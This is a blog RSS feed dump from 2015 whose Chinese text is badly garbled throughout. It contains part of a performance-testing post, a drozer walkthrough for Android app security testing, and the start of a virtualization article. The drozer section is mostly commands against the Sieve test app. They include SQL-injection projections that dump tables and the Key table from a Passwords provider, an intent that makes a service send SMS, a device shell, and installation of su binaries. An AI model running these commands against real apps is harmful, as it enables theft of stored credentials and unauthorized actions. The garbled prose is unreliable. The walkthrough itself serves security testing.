绯荤粺?#20824;鍚悓涓?#26882;闂村?#23941;簲澶噺鐢?#37812;?#37928;?#29831;锋眰锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆h. 鎵撳帇鏈?#37928;勭?#33636;粺?#30987;杞界鎬?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆5. 娴?#29831;?#37714;?#37835;?#38339;?#23048;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆灏嗘?#22549;泦鍒?#37928;?#37825;?#37817;?#37714;?#37812;?#37733;?#29723;?#38171;屾煡?#28229;鍚?#37816;?#37837;?#37928;勬兘鍙樺寲鏇茬嚎锛?#32513;?#37722;?#28052;嬪墠纭?#28729;?#37928;?#28051;婄嚎鎸?#37837;?#38171;屽?#29808;悇椤?#37825;?#37817;繘琛屽垎鏋?#38171;?#23480;茬瀹?#37828;?#37722;?#32513;画瀵箇eb鏈嶅姟?#32344;琛?#23092;?#29831;?#38171;?#32513;?#37835;?#37828;?#37722;揪鍒?#27996;?#37832;熸?#28056;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆6. 娴?#29831;曢獙璇?#38339;?#23048;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍦紑鍙戦拡瀵?#37721;戠幇鐨勬兘闂?#26864;樿繘琛屼慨澶嶅悗锛?#29781;佸啀鎵?#29723;屾兘娴?#29831;?#37928;?#37922;緥瀵?#38338;?#26864;樿繘琛岄獙璇?#37510;?#26473;?#38322;岄渶瑕?#37711;虫敞鐨?#37828;紑鍙?#37734;?#29785;?#37712;?#38338;?#26864;?#37928;勫悓?#26882;鍙兘鏃犳?#24526;腑?#24936;?#25980;浜嗘煇浜涘?#29115;兘锛?#37813;浠?#37734;?#26976;?#29831;佹兘鐨勫悓?#26882;锛屼篃瑕?#37711;虫敞鍘熸?#22794;?#29115;兘鏄?#37722;?#37721;?#37714;?#27996;嗗奖鍝?/div></div><div id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="http://www.67529968.com/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2015-03-18 22:08 <a href="http://www.67529968.com/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>鍒?#37922;drozer?#32344;琛孉ndroid?#31514;閫?#23092;?#29831;?/title><link>http://www.67529968.com/qileilove/archive/2015/03/18/423597.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/423597.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">涓銆?#28729;夎涓?#37722;?#37716;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">1. 瀹夎</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆绗?#28051;姝?#38171;?#28000;巋ttp://mwr.to/drozer涓?#26462;Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a> Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆绗?#27996;屾锛?#37734;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>璁?#28598;囦腑瀹夎?#21318;gent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">2. 鍚?#37716;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆绗?#28051;姝?#38171;?#37734;PC涓婁娇鐢adb?#32344;琛岀鍙?#26462;?#37721;?#38171;?#26462;?#37721;?#37714;Drozer?#23047;鐢?#37928;勭鍙?1415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆绗?#27996;屾锛?#37734;Android璁?#28598;?#28051;婂紑鍚疍rozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆閫夋嫨embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆绗?#28051;夋锛?#37734;PC涓婂紑鍚疍rozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆浜?#37510;?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">娴?#29831;?/strong></u></a>姝?#26976;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆1.鑾?#37721;栧寘鍚?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆dz> run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆2.鑾?#37721;?#25652;?#37922;?#37928;勫熀鏈?#28103;伅</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆3.纭?#28729;氭鍑?#38344;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛夎幏鍙朼ctivity淇伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛夊惎鍔activity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆dz> help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆[--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆[--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛夎幏鍙朇ontent Provider淇伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛塁ontent Providers锛?#37825;?#37817;?#23049;?#38343;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍏堣幏鍙?#37813;鏈?#37721;?#28000;?#29825;?#38338;?#37928;刄ri锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑾?#37721;?#37722;?#28051;猆ri鐨?#37825;?#37817;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鏌?#29831;?#37714;?#37825;?#37817;?#29831;?#37828;庡瓨鍦?#23125;忔礊</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛塁ontent Providers锛?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>?#25950;?#21446;锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鎶敊鍒?#29831;?#37828;庡瓨鍦SQL?#25950;?#21446;銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍒?#37713;?#37813;鏈?#29723;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑾?#37721;栨煇涓?#29723;?#38171;?#28641;侹ey锛変腑鐨?#37825;?#37817;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛夊悓?#26882;妫娴婼QL?#25950;?#21446;鍜?#37929;綍閬嶅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆<strong style="word-break: break-all; line-height: normal !important;">6 intent缁?#28000;?#29785;?#37721;?#38171;堟嫆缁?#37832;嶅姟銆?#37833;?#38340;愭彁鍗?#38171;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍒?#37922;intent瀵?#32513;?#28000;?#37928;?#29785;?#37721;?#28051;鑸?#37832;?#28051;?#32491;绘?#24532;礊锛?#28051;绫?#37828;?#37815;?#32513;?#37832;嶅姟锛?#28051;绫?#37928;?#37833;?#38340;愭彁鍗?#37510;?#37815;?#32513;?#37832;嶅姟鍗?#28729;?#37804;?#23011;?#26440;冧綆锛屾洿澶?#37928;?#37721;?#37828;奖鍝嶅簲鐢?#37832;嶅姟璐噺锛?#38000;?#37833;?#38340;愭彁鍗?#28751;嗕娇寰楁病鏈?#29831;?#37833;?#38340;?#37928;勫簲鐢?#37721;?#28000;?#38315;氳繃intent瑙?#37721;戞嫢鏈?#29831;?#37833;?#38340;?#37928;勫簲鐢?#38171;屼?#24228;屽府?#23018;?#21502;瀹屾垚瓒婃潈琛?#28051;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆1.鏌?#37930;嬫闇茬殑骞?#37822;?#32513;?#28000;朵俊?#20229;锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.info -a com.package.name銆銆鑾?#37721;broadcast receivers淇伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component ?#23512;鍚?--action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆2.灏?#29831;曟嫆缁?#37832;嶅姟鏀?#37713;绘娴?#38171;屽?#25117;箍鎾?#32513;?#28000;?#37721;戦?#28051;?#28729;?#37825;intent锛堢?#31732;ction鎴栫?#31737;xtras锛?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send 閫氳繃intent鍙戦乥roadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆(1)   绌篴ction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component ?#23512;鍚?ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component ?#23512;鍚?ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆(2)   绌篹xtras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆3.灏?#29831;曟潈闄愭彁鍗?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鏉?#38340;愭彁鍗囧叾瀹?#37724;屾嫆缁?#37832;嶅姟寰?#32491;?#28028;?#38171;?#37721;?#28051;嶈繃鐩?#37928;?#37721;?#37812;?#37835;?#38315;犳洿涓?#28729;?#37825;?#37510;佹洿?#20824;?#24359;瓒?#32459;?#25652;?#38315;昏緫鐨刬ntent銆?#37922;?#27996;巃ctivity涓鑸?#28598;?#27996;?#37922;?#37812;?#27996;?#27996;?#37832;夊叧锛?#37813;浠熀 浜巌ntent鐨?#37833;?#38340;愭彁鍗囨洿澶氶拡瀵筨roadcast receiver鍜宻ervice銆?#28051;drozer鐩?#37711;?#37928;?#37833;?#38340;愭彁鍗?#23480;?#37711;?#38171;?#37721;?#28000;?#37721;傝僆ntentFuzzer锛屽叾缁?#37722;?#27996;哾rozer浠?#37721;hook鎶鏈?#38171;岄噰鐢?feedback绛?#37923;繘琛宖uzzing銆?#28000;?#28051;嬩粎浠?#37714;?#28051;綿rozer鍙戦乮ntent鐨勫懡浠?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆锛?锛夎幏鍙杝ervice璇儏</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆涓嶄娇鐢drozer鍚?#37716;service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆am startservice –n ?#23512;鍚?service鍚?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆锛?锛?#37833;?#38340;愭彁鍗?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆7.鏂?#28000;舵搷浣?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍒?#37713;?#37816;?#28729;?#37826;?#28000;?#29882;?#23536;?#38322;屽叏灞鍙?#37712;?鍙?#29831;?#37928;?#37826;?#28000;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component ?#23512;鍚?--action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆8.?#21502;瀹?#22959;?#37735;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆shell.start 鍦?#29825;?#28598;?#28051;婂紑鍚?#28051;涓?#27996;?#27996;抯hell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆tools.file.upload / tools.file.download 涓?#28028;?涓?#26462;?#37826;?#28000;?#37714;?#29825;?#28598;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆tools.setup.busybox / tools.setup.minimalsu 瀹夎鍙?#37922;?#37928;?#27996;岃繘鍒?#37826;?#28000;?/div></div><img src ="http://www.67529968.com/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2015-03-18 22:06 <a href="http://www.67529968.com/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>鍦?#37832;嶅姟鍣櫄鎷熷寲鏋?#37835;勪腑鏈夊摢浜涙妧鏈?#37716;熻兘鍜?#37929;?#28598;?/title><link>http://www.67529968.com/qileilove/archive/2015/03/18/423595.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:03:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2015/03/18/423595.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/423595.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2015/03/18/423595.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/423595.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/423595.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">鍏?#27996;?#37832;嶅姟鍣櫄鎷熷寲鐨勬?#20634;锛?#28051;?#37923;?#37832;?#28051;嶅悓鐨?#28729;?#28052;?#38171;屼?#21975;叾鏍?#36423;?#37828;?#28051;鑷?#37928;?#38171;屽嵆瀹?#37828;?#28051;绉?#37826;规硶锛岃兘澶?#37734;?#37825;村悎澶?#28051;?#25652;?#37922;?#37832;嶅姟鐨勫悓?#26882;锛岄氳繃鍖哄?#21975;簲鐢?#37832;嶅姟鐨?#28028;?#37711;堟搴?#28751;?#37832;嶅姟鍣?#29863;勬簮鍒?#38320;?#32513;?#37832;闇瑕?#28729;?#28000;?#37928;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">宸?#28003;?/strong></u></a>?#30987;杞?#37833;?#32480;?#23538;绠?#37918;嗗?#23678;彁?#29678;鏁?#37916;?#37510;?strong style="word-break: break-all; line-height: normal !important;">?#21502;涓?#29781;佸?#29115;兘?#23512;鎷?#28000;?#28051;?#37733;?#28051;?#37826;?#38344;?#38171;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#27878;鎴?#37825;村悎鍔熻兘銆傝櫄鎷熷寲鏈嶅姟鍣?#28051;?#29781;?#37828;?#37922;?#37911;?#37918;?#37832;嶅姟鍣?#37724;岃櫄鎷熷寲绋?#25652;忔瀯鎴?#37928;?#38171;岄氳繃?#22968;涓鍙?#37911;?#37918;?#37832;嶅姟鍣?#37714;?#37714;?#28051;?#28598;?#28051;櫄鎷熸満锛屾垨鑰呮妸鑻?#39582;?#28051;?#37714;?#37825;?#37928;?#37911;?#37918;?#37832;嶅姟鍣櫄鎷?#28051;?#28051;涓?#37825;翠綋閫昏?#25118;?#23941;姟鍣?#38171;屼?#24228;屽皢澶?#28051;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鎿?#28003;?#32495;荤粺</strong></u></a>鍜屽簲鐢?#37832;嶅姟鏁村悎鍒?#23534;?#28598;?#37928;勮櫄鎷熷寲鏋?#37835;?#28051;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍔?#37804;?#26473;佺?#35826;?#29115;兘銆?#26473;?#38322;?#37813;璇?#37928;勫姩鎬?#26473;佺涓?#29781;?#37828;?#37816;嘨2V(?#27332;鎷熸?#21700;埌?#27332;鎷熸満鐨勮?#20346;)鎶鏈?#37510;?#37711;?#28003;?#37833;?#29825;?#38171;屽綋?#28999;涓涓?#37832;嶅姟鍣?#37733;?#37825;?#38341;?#37707;?#37832;烘椂锛屽叾鎵?#26462;?#37928;勮櫄鎷熸満鍙?#28000;?#38007;?#37716;?#37714;?#37817;?#37714;?#37721;?#28051;鍙拌櫄鎷熸?#23941;姟鍣?#38171;岃?#37734;?#37825;?#28051;繃绋嬩腑搴?#37922;?#37832;嶅姟涓嶄細?#33105;鏂?#38171;屽?#28853;幇绯荤粺闆?#28729;曟満鍦嚎杩佺銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆璧勬簮鍒?#38320;嶅?#29115;兘銆傝櫄鎷熷寲鏋?#37835;勬妧鏈腑寮曞叆浜嗗姩鎬?#29863;勬簮?#30367;搴?#37814;鏈?#38171;?#32495;荤粺灏?#37813;鏈夎櫄鎷熸?#23941;姟鍣?#28003;?#28051;?#28051;涓?#37825;翠綋璧勬?#24878;粺涓?#32344;琛?#32480;?#37918;?#38171;屽苟鎸?#28729;?#38340;?#38343;?#30512;鑷?#37716;繘琛屽姩鎬?#29863;勬簮?#30367;閰?#38171;?#37734;?#28103;?#29831;佺?#33636;粺绋?#28729;?#26473;?#29723;?#37928;勫?#23942;彁涓?#38171;屽?#28853;幇璧勬簮鍒?#37922;?#37832;澶寲銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆寮?#28598;?#37928;?#32480;?#37918;?#37818;?#37714;剁?#23684;潰銆?#38315;氳繃鍙?#29785;嗗寲鐣岄潰瀹?#37827;剁?#25118;帶鐗?#37918;?#37832;嶅姟鍣?#28000;?#37721;?#37722;勮櫄鎷熸満鐨勮繍琛屾儏鍐?#38171;屽?#28853;幇瀵瑰叏閮櫄鎷?#29863;勬簮鐨?#32480;?#37918;?#37510;佺?#23384;姢鍙?#38318;?#32515;茬?#22795;搷浣?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal 